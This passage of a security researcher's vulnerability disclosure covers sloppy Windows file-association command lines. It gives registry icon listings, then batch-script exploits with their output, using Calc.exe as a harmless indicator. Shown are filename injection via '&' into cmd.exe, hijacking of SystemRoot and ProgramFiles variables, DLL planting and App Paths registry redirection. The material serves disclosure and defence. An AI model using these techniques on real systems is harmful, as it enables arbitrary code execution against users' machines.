{28803F59-3A75-4058-995F-4EE5503B023C}  %systemroot%\system32\DevicePairingFolder.dll,-200
{289AF617-1CC3-42A6-926C-E6A863F0E3BA}  dlnashext.dll,-200
{2E17C0EF-2851-459b-A3C8-27A41D4BC9F7}  %SystemRoot%\system32\themeui.dll,7                       Theme.Manager.1
{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}  FileHistory.exe,0
{3080F90D-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-103
{3080F90E-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-258
{3134ef9c-6b18-4996-ad04-ed5912e00eb5}  %SystemRoot%\system32\imageres.dll,-117
{323CA680-C24D-4099-B94D-446DD2D7249E}  %SystemRoot%\system32\imageres.dll,-1024
{328B0346-7EAF-4BBE-A479-7CB88A095F5B}  %SystemRoot%\system32\imageres.dll,-27                    LayoutFolder
{374DE290-123F-4565-9164-39C4925E467B}  %SystemRoot%\system32\imageres.dll,-184
{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}  %SystemRoot%\system32\imageres.dll,-171
{3936E9E4-D92C-4EEE-A85A-BC16D5EA0819}  %SystemRoot%\system32\shell32.dll,-37219
{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}  %SystemRoot%\system32\imageres.dll,-113
{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}  %SystemRoot%\system32\imageres.dll,-108
{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}  %SystemRoot%\System32\rstrui.exe,0
{40419485-C444-4567-851A-2DD7BFA1684D}  %SystemRoot%\System32\telephon.cpl,-100
{430da762-8632-4840-bc61-3eeaa078e62e}  %SystemRoot%\system32\display.dll,1
{450D8FBA-AD25-11D0-98A8-0800361B1103}  %SystemRoot%\system32\shell32.dll,-235
{48123BC4-99D9-11D1-A6B3-00C04FD91555}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
{4c892621-6757-4fe0-ad8c-a6301be7fba2}  %SystemRoot%\system32\themeui.dll,7
{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}  %SystemRoot%\system32\imageres.dll,-27
{58E3C745-D971-4081-9034-86E34B30836A}  %SystemRoot%\System32\Speech\SpeechUX\speechuxcpl.dll,-1
{59031a47-3f72-44a7-89c5-5595fe6b30ee}  %SystemRoot%\system32\imageres.dll,-123
{5ea4f148-308c-46d7-98a9-49041b1dd468}  %SystemRoot%\system32\mblctr.exe,0
{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}  %SystemRoot%\System32\imageres.dll,-27
{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}  %SystemRoot%\system32\shell32.dll,-33
{60632754-c523-4b62-b45c-4172da012619}  %SystemRoot%\System32\usercpl.dll,-1
{60F6E464-4DEF-11d2-B2D9-00C04F8EEC8C}  %SystemRoot%\System32\DATACLEN.DLL,-2002
{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}  %SystemRoot%\System32\intl.cpl,-200
{6377013E-2C35-40F3-B8E1-1AB47D12982B}  %SystemRoot%\system32\WABSyncProvider.dll,0
{63da6ec0-2e98-11cf-8d82-444553540000}  %SystemRoot%\system32\imageres.dll,-73
{645FF040-5081-101B-9F08-00AA002F954E}  %SystemRoot%\System32\imageres.dll,-55
{67718415-c450-4f3c-bf8a-b487642dc39b}  %SystemRoot%\system32\imageres.dll,-87
{679f85cb-0220-4080-b29b-5540cc05aab6}  %SystemRoot%\system32\shell32.dll,-51380
{67CA7650-96E6-4FDD-BB43-A8E774F73A57}  %SystemRoot%\System32\imageres.dll,-1013
{6C8EEC18-8D75-41B2-A177-8831D59D2D50}  %SystemRoot%\System32\main.cpl,-100
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}  %SystemRoot%\system32\imageres.dll,-166
{7007ACC7-3202-11D1-AAD2-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{725BE8F7-668E-4C7B-8F90-46BDB0936430}  %SystemRoot%\System32\main.cpl,-200
{73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",1     WordPad.Document.1
{74246bfc-4c96-11d0-abef-0020af6b0b7a}  %SystemRoot%\system32\devmgr.dll,-201
{7A9D77BD-5403-11d2-8785-2E0420524153}  %SystemRoot%\system32\netplwiz.dll,-102
{7b81be6a-ce2b-4676-a29e-eb907a5126c5}  %SystemRoot%\system32\imageres.dll,-87
{80F3F1D5-FECA-45F3-BC32-752C152E456E}  %SystemRoot%\System32\tabletpc.cpl,-10200
{863aa9fd-42df-457b-8e4d-0de1b8015c60}  %SystemRoot%\System32\imageres.dll,-26
{87D66A43-7B11-4A28-9811-C86EE395ACF7}  %SystemRoot%\System32\srchadmin.dll,-201
{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}  %SystemRoot%\system32\zipfldr.dll
{89D83576-6BD1-4c86-9454-BEB04E94C819}  %systemroot%\system32\mssvp.dll,-504
{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}  %SystemRoot%\System32\pwcreator.exe,-2001
{8E908FC9-BECC-40f6-915B-F4CA0E70D03D}  %SystemRoot%\System32\netcenter.dll,-1
{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}  %systemroot%\system32\dxp.dll,0
{9324DA94-50EC-4A14-A770-E90CA03E7C8F}  %SystemRoot%\system32\themeui.dll,7
{93412589-74D4-4E4E-AD0E-E0CB621440FD}  %SystemRoot%\System32\fontext.dll
{9343812e-1c37-4a49-a12e-4b2d810d956b}  %SystemRoot%\System32\searchfolder.dll,-323
{98F275B4-4FFF-11E0-89E2-7B86DFD72085}  %SystemRoot%\system32\SearchFolder.dll,-323
{992CFFA0-F557-101A-88EC-00DD010CCC48}  %SystemRoot%\system32\netshell.dll
{9C60DE1E-E5FC-40f4-A487-460851A8D915}  %SystemRoot%\System32\autoplay.dll,-1
{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}  %SystemRoot%\System32\SyncCenter.dll,-1000
{9DB7A13C-F208-4981-8353-73CC61AE2783}  %SystemRoot%\system32\twext.dll,-100                      Previous.Versions
{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\sendmail.dll,-2001
{9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\imageres.dll,-110
{9FE63AFD-59CF-4419-9775-ABCC3849F861}  %SystemRoot%\System32\imageres.dll,-1022
{a00ee528-ebd9-48b8-944a-8942113d46ac}  %SystemRoot%\system32\SearchFolder.dll,-323
{A0953C92-50DC-43bf-BE83-3742FED03C9C}  %SystemRoot%\system32\imageres.dll,-189
{A8A91A66-3A7D-4424-8D24-04E180695C7A}  %systemroot%\system32\DeviceCenter.dll,-1
{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}  %SystemRoot%\system32\imageres.dll,-112
{A9B48EAC-3ED8-11d2-8216-00C04FB687DA}  %SystemRoot%\System32\DATACLEN.DLL,-2000
{ADB9F5A4-E73E-49b8-99B6-2FA317EF9DBC}  %SystemRoot%\system32\themeui.dll,7
{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}  %SystemRoot%\System32\cscui.dll
{B12AE898-D056-4378-A844-6D393FE37956}  %SystemRoot%\system32\themeui.dll,7
{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}  %SystemRoot%\system32\imageres.dll,-183
{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}  %SystemRoot%\system32\imageres.dll,-1013
{B7BBD408-F09C-4aa8-B65E-A00B8FE0F0B9}  %SystemRoot%\system32\themeui.dll,7
{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}  %SystemRoot%\System32\sdcpl.dll,-1
{BA126E01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{BA126F01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}  %SystemRoot%\System32\imageres.dll,-149
{BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}  %SystemRoot%\System32\ActionCenterCPL.dll,-1
{BC48B32F-5910-47F5-8570-5074A8A5636A}  %SystemRoot%\System32\SyncCenter.dll,-1000
{BD7A2E7B-21CB-41b2-A086-B309680C6B7E}  %systemroot%\system32\mssvp.dll,-505
{BD84B380-8CA2-1069-AB1D-08000948F534}  %SystemRoot%\System32\fontext.dll
{c57a6066-66a3-4d91-9eb9-41532179f0a5}  %SystemRoot%\system32\imageres.dll,-1020
{C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}  %SystemRoot%\System32\DiagCpl.dll,-1
{c79d1575-b8c6-4862-a284-788836518b97}  %SystemRoot%\system32\display.dll,1
{d0da2915-3f89-4519-a4ca-5e02528c8ec4}  %SystemRoot%\system32\playlistfolder.dll
{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}  %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl,-138
{D2035EDF-75CB-4EF1-95A7-410D9EE17170}  dlnashext.dll,-200
{D20EA4E1-3957-11d2-A40B-0C5020524153}  %SystemRoot%\System32\imageres.dll,-114
{d3162b92-9365-467a-956b-92703aca08af}  %SystemRoot%\system32\imageres.dll,-112
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe,-3                      Paint.Picture
{D4480A50-BA28-11d1-8E75-00C04FA31A86}  %SystemRoot%\System32\shwebsvc.dll,-107
{d450a8a1-9568-45c7-9c0e-b4f9fb4537bd}  appwiz.cpl,-1507
{D555645E-D4F8-4c29-A827-D93C859C4F2A}  %SystemRoot%\System32\accessibilitycpl.dll,-1
{D9EF8727-CAC2-4e60-809E-86F80A666C91}  %SystemRoot%\System32\fvecpl.dll,-1
{daf95313-e44d-46af-be1b-cbacea2c3065}  %SystemRoot%\system32\SearchFolder.dll,-323
{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}  %SystemRoot%\System32\timedate.cpl,-50
{e345f35f-9397-435c-8f95-4e922c26259e}  %SystemRoot%\system32\SearchFolder.dll,-323
{E413D040-6788-4C22-957E-175D1C513A34}  %SystemRoot%\System32\SyncCenter.dll,-1000
{E44E5D18-0652-4508-A4E2-8A090067BCB0}  %SystemRoot%\system32\imageres.dll,-24
{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}  %SystemRoot%\system32\zipfldr.dll                         CompressedFolder
{E96F5460-09CE-4f46-88B1-F4B6B4A8E252}  %SystemRoot%\system32\wmploc.dll, 101
{ECF03A32-103D-11d2-854D-006008059367}  %SystemRoot%\system32\imageres.dll,-1002
{ED7BA470-8E54-465E-825C-99712043E01C}  %SystemRoot%\System32\imageres.dll,-27
{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}  %SystemRoot%\System32\themecpl.dll,-1
{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}  %SystemRoot%\System32\imageres.dll,-25
{F1390A9A-A3F4-4E5D-9C5F-98F3BD8D935C}  %SystemRoot%\System32\SyncCenter.dll,-1000
{F20DA720-C02F-11CE-927B-0800095AE340}  %SystemRoot%\system32\packager.dll,0                      Package
{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}  %SystemRoot%\System32\mmsys.cpl,-100
{F5078F40-C551-11D3-89B9-0000F81FE221}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
{F6B6E965-E9B2-444B-9286-10C9152EDBC5}  %SystemRoot%\System32\FileHistory.exe
{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}  %SystemRoot%\System32\tabletpc.cpl,-10201
{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}  %SystemRoot%\system32\imageres.dll,-189
{FF3AE31D-55B0-4945-BDE9-622ABB334C1A}  %SystemRoot%\system32\WABSyncProvider.dll,0

ComponentId                             ProgId                           ToolBoxBitmap32
{04a1e553-fe36-4fde-865e-344194e69424}  msinkaut.InkPicture.1            %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll, 212
{289228DE-A31E-11D1-A19C-0000F875B132}  ListPad.ListPad.1                cic.dll, 1
{44F9A03B-A3EC-4F3B-9364-08E0007F21DF}  Control.TaskSymbol.1             mmcndmgr.dll, 101
{545AE700-50BF-11D1-9FE9-00600832DB4A}  MMCCtrl.MMCCtrl.1                cic.dll, 1
{5828227c-20cf-4408-b73f-73ab70b8849f}  RdpCoreTS.WRdsProtocolManager.1  %windir%\system32\rdpcorets.dll, 1
{6BF52A52-394A-11d3-B153-00C04F79FAA6}  WMPlayer.OCX.7                   %SystemRoot%\system32\wmploc.dll, 101
{850D1D11-70F3-4BE5-9A11-77AA6B2BB201}  WIA.CommonDialog.1               %SystemRoot%\System32\wiaaut.dll, 102
{888D5481-CABB-11D1-8505-00A0C91F9CA0}  VideoRenderCtl.VideoRenderCtl.1  qdvd.dll, 1
{9BA05971-F6A8-11CF-A442-00A0C90A8F39}  Shell.FolderView.1               %SystemRoot%\system32\shell32.dll, 260
{AEB84C83-95DC-11D0-B7FC-B61140119C4A}  DiskManagement.Control           %SystemRoot%\System32\dmview.ocx,1
{B0395DA5-6A15-4E44-9F36-9A9DC7A2F341}  MMC.IconControl.1                mmcndmgr.dll, 1
{C3701884-B39B-11D1-9D68-00C04FC30DF6}  OlePrn.OleInstall.1              %SystemRoot%\system32\oleprn.dll, 1
{C47195EC-CD7A-11D1-8EA3-00C04F9900D7}  SysColorCtrl.SysColorCtrl.1      cic.dll, 1
{E1C5D730-7E97-4D8A-9E42-BBAE87C2059F}  WIA.DeviceManager.1              %SystemRoot%\System32\wiaaut.dll, 103

Demonstration

The demonstrations use Windows Calculator Calc.exe and Windows Shell Obsolete APIs ShUnimpl.dll as indicators and execute them instead of either the application or the DLL associated with the exploited file extension.

Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ shell from prior versions of Windows NT; to inhibit their use, its _DllMainCRTStartup() entry point function intentionally returns FALSE and lets the Win32 function LoadLibrary() fail with Win32 error code 1114 alias ERROR_DLL_INIT_FAILED.

The error message box displayed from RunDLL32.exe is therefore expected and used here to show the pathname of the spoofed DLL.

Note: the command line START ‹filename›.‹extension› is equivalent to a double-click on the file ‹filename›.‹extension›.

Note: the command lines can be copied and pasted as blocks into the Command Processor window!

Exploit 0

Start the Command Processor, create a new directory, for example %SystemDrive%\Sloppy\, then create 8 (empty) files TMP Calc, TMP%Calc, TMP!Calc, TMP^Calc, TMP;Calc, TMP,Calc, TMP=Calc and TMP&Calc in this directory:
```
MKDIR "%SystemDrive%\Sloppy"
FOR %? IN (" " "%" "!" "^^" ";" "," "=" "&") DO @COPY NUL: "%SystemDrive%\Sloppy\TMP%~?Calc"
```
```
        1 file(s) copied.
…
        1 file(s) copied.
```

Save the following batch script as Sloppy.cmd in the directory created in step 1.:

@Echo Off
SetLocal EnableDelayedExpansion EnableExtensions
Echo Command Line:
Echo	!CMDCMDLINE!
Echo.
Echo Arguments:
Echo *	"%*"
If Not "%~0" == "" Echo 0	"%~0"
If Not "%~1" == "" Echo 1	"%~1"
If Not "%~2" == "" Echo 2	"%~2"
If Not "%~3" == "" Echo 3	"%~3"
If Not "%~4" == "" Echo 4	"%~4"
If Not "%~5" == "" Echo 5	"%~5"
If Not "%~6" == "" Echo 6	"%~6"
If Not "%~7" == "" Echo 7	"%~7"
If Not "%~8" == "" Echo 8	"%~8"
If Not "%~9" == "" Echo 9	"%~9"
Pause

Note: the batch script echoes the command line and its arguments.

Open the directory created in step 1. in File Explorer, then select the 8 files TMP?Calc created in step 1., drag them onto the batch script Sloppy.cmd created in step 2., and drop them to execute it with all 8 file(name)s as arguments:
```
Command Line:
C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd" C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP!Calc C:\Sloppy\TMP%Calc C:\Sloppy\TMP&Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMP^Calc"

Arguments:
*       "C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP\Sloppy\TMP%Calc C:\Sloppy\TMP"
0       "C:\Sloppy\Sloppy.cmd"
1       "C:\Sloppy\TMP"
2       "Calc"
3       "C:\Sloppy\TMP Calc"
4       "C:\Sloppy\TMPCalc"
5       "C:\Sloppy\TMP%Calc"
6       "C:\Sloppy\TMP"
Press any key to continue . . .
```
OUCH¹: File Explorer fails to enclose arguments in (double) quotes " unless they contain a space, exposing multiple bugs of the Command Processor Cmd.exe here:
- within the variable %*, the argument C:\Sloppy\TMP!Calc is truncated at the exclamation mark !, then joined with the following arguments’ C:\Sloppy\TMP%Calc part after the colon :;
- the argument C:\Sloppy\TMP=Calc is split at the equals sign =;
- the argument C:\Sloppy\TMP!Calc is echoed without the exclamation mark !;
- although properly quoted in the ECHO command, the ampersand & in the argument C:\Sloppy\TMP&Calc is interpreted as command delimiter which aborts the batch script and starts Calc.exe as soon as you press any key…!

Deselect the file TMP&Calc, then drag and drop the remaining 7 files onto the batch script Sloppy.cmd to execute it with these 7 file(name)s as arguments:

Command Line:
C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd" C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP!Calc C:\Sloppy\TMP%Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMP^Calc"

Arguments:
*       "C:\Sloppy\TMP=Calc "C:\Sloppy\TMP Calc" C:\Sloppy\TMP\Sloppy\TMP%Calc C:\Sloppy\TMP,Calc C:\Sloppy\TMP;Calc C:\Sloppy\TMPCalc"
0       "C:\Sloppy\Sloppy.cmd"
1       "C:\Sloppy\TMP"
2       "Calc"
3       "C:\Sloppy\TMP Calc"
4       "C:\Sloppy\TMPCalc"
5       "C:\Sloppy\TMP%Calc"
6       "C:\Sloppy\TMP"
7       "Calc"
8       "C:\Sloppy\TMP"
9       "Calc"
Press any key to continue . . .

OUCH²: the unquoted arguments expose more bugs of the Command Processor: the arguments C:\Sloppy\TMP,Calc and C:\Sloppy\TMP^Calc are split at comma , and semicolon ;.

Start the batch script Sloppy.cmd with all 8 properly quoted and escaped fully qualified pathnames as arguments:

CHDIR /D "%SystemRoot%\Sloppy"
START Sloppy.cmd "%CD%\TMP=Calc" "%CD%\TMP Calc" "%CD%\TMP!Calc" "%CD%\TMP%Calc" "%CD%\TMP,Calc" "%CD%\TMP;Calc" "%CD%\TMP^^Calc" "%CD%\TMP&Calc"

Command Line:
C:\Windows\system32\cmd.exe /c ""C:\Sloppy\Sloppy.cmd"  "C:\Sloppy\TMP=Calc" "C:\Sloppy\TMP Calc" "C:\Sloppy\TMP!Calc" "C:\Sloppy\TMP%Calc" "C:\Sloppy\TMP,Calc" "C:\Sloppy\TMP;Calc" "C:\Sloppy\TMP^Calc" "C:\Sloppy\TMP&Calc""

Arguments:
*       ""C:\Sloppy\TMP=Calc" "C:\Sloppy\TMP Calc" "C:\Sloppy\TMPCalc" "C:\Sloppy\TMP%Calc" "C:\Sloppy\TMP,Calc" "C:\Sloppy\TMP;Calc" "C:\Sloppy\TMPCalc" "C:\Sloppy\TMP
0       "C:\Sloppy\Sloppy.cmd"
1       "C:\Sloppy\TMP=Calc"
2       "C:\Sloppy\TMP Calc"
3       "C:\Sloppy\TMPCalc"
4       "C:\Sloppy\TMP%Calc"
5       "C:\Sloppy\TMP,Calc"
6       "C:\Sloppy\TMP;Calc"
7       "C:\Sloppy\TMPCalc"
8       "C:\Sloppy\TMP&Calc"
Press any key to continue . . .

OUCH³: while echoing the quoted variable "%*" starts Calc.exe now due to the double (double) quotes ", the quoted arguments "%CD%\TMP=Calc", "%CD%\TMP,Calc" and "%CD%\TMP;Calc" are not splitted any more, but the exclamation mark ! and the escaped circumflex ^^ are still lost!

Finally start the Command Processor with the batch script Sloppy.cmd and at least another argument, all fully qualified and properly quoted:
```
"%COMSPEC%" /C "%CD%\Sloppy.cmd" "%CD%\TMP Calc"
```
```
'C:\Sloppy\Sloppy.cmd" "C:\Sloppy\TMP Calc' is not recognized as an internal or external command,
operable program or batch file.
```
OUCH⁴: if the first and the last argument following the /C or /K command line switch are both quoted, the remainder of the command line is interpreted as single argument, the (path)name of a command or a batch script!

Exploit 1

Start the Command Processor and run the following command lines to exploit some registered command lines with an unquoted application pathname containing an environment variable:

REM Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET SystemRoot=%SystemRoot%\System32\Calc.exe *
SET SystemRoot
COPY NUL: Desktop\Sloppy.cer
START Desktop\Sloppy.cer
RENAME Desktop\Sloppy.cer Sloppy.hlp
START Desktop\Sloppy.hlp
RENAME Desktop\Sloppy.hlp Sloppy.log
START Desktop\Sloppy.log
RENAME Desktop\Sloppy.log Sloppy.msc
START Desktop\Sloppy.msc
RENAME Desktop\Sloppy.msc Sloppy.webpnp
START Desktop\Sloppy.webpnp
…
ERASE Desktop\Sloppy.*

SystemRoot=C:\Windows\System32\Calc.exe *
        1 file(s) copied.

Exploit 2

Start the Command Processor and run the following command lines to exploit some registered command lines with a quoted application pathname containing an environment variable:

REM Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET SystemRoot=%SystemRoot%\System32\Calc.exe^" ^"*
SET SystemRoot
COPY NUL: Desktop\Sloppy.msu
START Desktop\Sloppy.msu
RENAME Desktop\Sloppy.msu Sloppy.rle
START Desktop\Sloppy.rle
RENAME Desktop\Sloppy.rle Sloppy.spc
START Desktop\Sloppy.spc
RENAME Desktop\Sloppy.spc Sloppy.wsh
START Desktop\Sloppy.wsh
…
ERASE Desktop\Sloppy.*

SystemRoot=C:\Windows\System32\Calc.exe" "*
        1 file(s) copied.

Exploit 3

Start the Command Processor and run the following command lines to exploit some registered command lines with an argument containing an environment variable:

REM Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET CommonProgramFiles=%SystemDrive%
SET CommonProgramFiles
MKDIR "%CommonProgramFiles%\System\OLE DB"
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%CommonProgramFiles%\System\OLE DB\OLEDB32.dll"
COPY NUL: Desktop\Sloppy.udl
START Desktop\Sloppy.udl
RMDIR /Q /S "%CommonProgramFiles%\System"
SET ProgramFiles=%SystemDrive%
SET ProgramFiles
MKDIR "%ProgramFiles%\Windows Photo Viewer"
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll"
RENAME Desktop\Sloppy.udl Sloppy.tif
START Desktop\Sloppy.tif
ERASE Desktop\Sloppy.tif
RMDIR /Q /S "%ProgramFiles%\Windows Photo Viewer"

CommonProgramFiles=C:
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
        1 file(s) copied.
ProgramFiles=C:
ProgramFiles(x86)=C:\Program Files (x86)
        1 file(s) copied.

Exploit 4

Start the Command Processor and run the following command lines to exploit a registered command line with the unqualified filename of an application which is not in the search path:

REM Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\IExplore.exe" /VE /T REG_SZ /D "%SystemRoot%\System32\Calc.exe" /F
COPY NUL: Desktop\Sloppy.xrm-ms
START Desktop\Sloppy.xrm-ms
ERASE Desktop\Sloppy.xrm-ms
REG.EXE DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\IExplore.exe" /F

The operation completed successfully.
        1 file(s) copied.
The operation completed successfully.

Exploit 5

Start the Command Processor and run the following command lines to perform the fifth exploit.

REM Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\WordPad.exe" /VE /T REG_SZ /D "%SystemRoot%\System32\Calc.exe" /F
WRITE.EXE
EXPLORER.EXE /E,/Select,"%SystemRoot%\Write.exe"
ECHO 1) Right-click the selected file 'Write.exe' to display its context menu;
ECHO 2) Click the 'Run as Administrator' menu entry;
SET /P = 3) Press [Return] when done!
REG.EXE DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\WordPad.exe" /F

The operation completed successfully.
1) Right-click the selected file 'Write.exe' to display its context menu;
2) Click the 'Run as Administrator' menu entry;
3) Press [Return] when done!
The operation completed successfully.

Mitigation

Software Restrictions Policies or AppLocker …

Contact

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

The software and the documentation on this site are provided as is without any warranty, neither express nor implied.
In no event will the author be held liable for any damage(s) arising from the use of the software or the documentation.
Permission is granted to use the current version of the software and the current version of the documentation solely for personal private and non-commercial purposes.
An individuals use of the software or the documentation in his or her capacity or function as an agent, (independent) contractor, employee, member or officer of a business, corporation or organisation (commercial or non-commercial) does not qualify as personal private and non-commercial purpose.
Without written approval from the author the software or the documentation must not be used for a business, for commercial, corporate, governmental, military or organisational purposes of any kind, or in a commercial, corporate, governmental, military or organisational environment of any kind.
Redistribution of the software and the documentation is allowed only in unmodified form of its current version and free of charge.

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):

the (pseudonymised) IP address;
the date and time of the request;
the URL of the requested web page or file;
the Referer and User-Agent HTTP headers sent by the web browser;
the result (success or failure) of the request;
the amount of data received and sent.